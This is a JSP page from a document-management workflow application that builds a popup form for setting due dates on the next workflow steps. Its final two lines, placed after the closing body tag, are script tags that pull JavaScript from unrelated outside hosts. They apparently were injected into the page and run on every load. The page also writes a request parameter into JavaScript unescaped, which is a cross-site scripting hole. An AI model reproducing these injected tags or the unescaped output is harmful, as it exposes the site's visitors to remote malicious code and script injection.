<%@page contentType="text/html;charset=UTF-8"%>
<%request.setCharacterEncoding("UTF-8");%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintNextStepDueDatesForm" class="com.dcivision.workflow.web.MaintNextStepDueDatesForm" scope="request"/>

<html>
<head>
<title>DCIVISION ParaDM Systems</title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">

<!-- Common Stylesheet Begin -->
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link media="print" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/PrintStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->

<!-- Framework Javascript Begin -->
<script language="Javascript">
  <jsp:include page="/js/Variable.jsp"/>
</script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<!-- Framework Javascript End -->

<!-- Static Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLibHiddenForm.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.js" charset="UTF-8" type="text/javascript"></script>
<!-- Static Javascript End -->

<!-- Dynamic Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/jsp/customize/CustomizedJS.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<!-- Dynamic Javascript End -->


<!-- Common Javascript End -->
</head>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="10" topmargin="10" marginwidth="10" marginheight="10" link="#000000" vlink="#000000" alink="#000000">


<%
  String moreStepDueDates = request.getParameter("moreStepDueDates");
  List wfStepList = new ArrayList();
  if (!Utility.isEmpty( request.getAttribute("workflowStepList")) ){
    wfStepList = (List)request.getAttribute("workflowStepList");
  }
  
  int count = 0;  
  count = wfStepList.size();
  String[] dueDateArr = null;
  
  if(!Utility.isEmpty(moreStepDueDates) ) {
     dueDateArr = new String[count];
     dueDateArr = TextUtility.splitString(moreStepDueDates,";");
     
     if(count >= 1){
       maintNextStepDueDatesForm.setDueDate1(dueDateArr[0]);
     }
     
     if(count >= 2){
       maintNextStepDueDatesForm.setDueDate2(dueDateArr[1]);
     }
     
     if(count >= 3){
       maintNextStepDueDatesForm.setDueDate3(dueDateArr[2]);
     }
     
     if(count >= 4){
       maintNextStepDueDatesForm.setDueDate4(dueDateArr[3]);
     }
     
     if(count >= 5){
       maintNextStepDueDatesForm.setDueDate5(dueDateArr[4]);
     }
     
     if(count >= 6){
       maintNextStepDueDatesForm.setDueDate6(dueDateArr[5]);
     }
     
     if(count >= 7){
       maintNextStepDueDatesForm.setDueDate7(dueDateArr[6]);
     }
     
     if(count >= 8){
       maintNextStepDueDatesForm.setDueDate8(dueDateArr[7]);
     }
     
     if(count >= 9){
       maintNextStepDueDatesForm.setDueDate9(dueDateArr[8]);
     }
     
     if(count >= 10){
       maintNextStepDueDatesForm.setDueDate1(dueDateArr[9]);
     }
     
  }
  
%>
<script language="javascript">
<!--

function init(){
 <%for (int i=1; i<= count && !Utility.isEmpty(dueDateArr); i++){ %>
     document.maintNextStepDueDatesForm.dueDate<%=i%>.value = "<%=dueDateArr[i-1]%>";
 <%}%>
}

function setDueDates(){
  var parent = window.opener;
  var dueDates = ""; 
  var today;
  var tmpDate;
  var moreStepDueDates = "";
  var allowAssignDueDate = "";
  
  today = new Date();
  <%for (int i=1; i<= count; i++){%>
    tmpDate = document.maintNextStepDueDatesForm.dueDate<%=i%>.value;
    allowAssignDueDate = document.maintNextStepDueDatesForm.allowAssignDueDate<%=i%>.value;
    
    if("<%=WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY%>" == allowAssignDueDate && tmpDate == ""){
      alert("<bean:message key='workflow.message.next_step_due_dates_required'/>");
      return false;
    } else {
      while(tmpDate.indexOf("-") >0 ) {
        tmpDate = tmpDate.replace("-","/");
      }
      
      if (today.getTime() > (new Date(tmpDate)).getTime() ) {
        alert("<bean:message key='workflow.message.due_date_cannot_be_less_than_current_date'/>");
        return;
      }
      moreStepDueDates += document.maintNextStepDueDatesForm.stepName<%=i%>.value +":" + document.maintNextStepDueDatesForm.dueDate<%=i%>.value +"\n"
      dueDates += document.maintNextStepDueDatesForm.dueDate<%=i%>.value +";";
    }
  <%}%>    
  opener.setDueDates(moreStepDueDates,dueDates); 
  window.close();
}

//-->
  
</script>

<html:form enctype="multipart/form-data" action="workflow/MaintNextStepDueDates" onsubmit="return(false)">

<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="ID"/>
<html:hidden property="creatorID"/>
<html:hidden property="createDate"/>
<html:hidden property="updaterID"/>
<html:hidden property="updateDate"/>



<table width="490" cellpadding="0" cellspacing="1" border="0" align="left">
  <tr>
    <td>
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td class="sectionTitle" nowrap><bean:message key='workflow.label.next_step_due_date'/>:</td>          
          <td align="right">
            <table width="90" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td class="mandatoryLabel" width="18">&nbsp;</td>
                <td class="bodySmallBold" nowrap>&nbsp;<bean:message key='common.label.mandatory'/></td>
              </tr>
            </table>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td class="blackLine"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
  <tr>
    <td>
      <table width="100%" bgcolor="#FFFFFF" cellpadding="3" cellspacing="1" border="0" align="left">
      <input type="hidden" name="fileCount" value="<%=wfStepList.size()%>">
      <% for (int i=1; i<=wfStepList.size(); i++) { 
           WorkflowStep wfStep = (WorkflowStep)wfStepList.get(i-1);
      %>
        <tr>
          <td class='<%=WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(wfStep.getAllowAssignDueDate())? "mandatoryLabel": "dataLabel"%>' width='30%' valign='top'><%=wfStep.getStepName()%>:&nbsp;</td>
          <td class="dataField" width='70%'><html:datepicker property='<%="dueDate"+i%>' time='true'/></td>
        </tr>
        <input type="hidden" name="allowAssignDueDate<%=i%>" value="<%=wfStep.getAllowAssignDueDate()%>">
        <input type="hidden" name="stepName<%=i%>" value="<%=wfStep.getStepName()%>">
      <% } %>
        <tr>
          <td colspan="2"><html:img src='Spacer.gif'  height='5'/></td>
        </tr>
        <tr>
          <td colspan="2"></td>
        </tr>
        <tr>
          <td colspan="2" align="center">
            <html:standardButton label="common.label.complete" onClick="return setDueDates()"/>
            <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
          </td>
        </tr>
      </table>
    </td>
  </tr>
</table>
</html:form>

<script language="javascript">
<!--
 init();
-->
</script>
</body>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>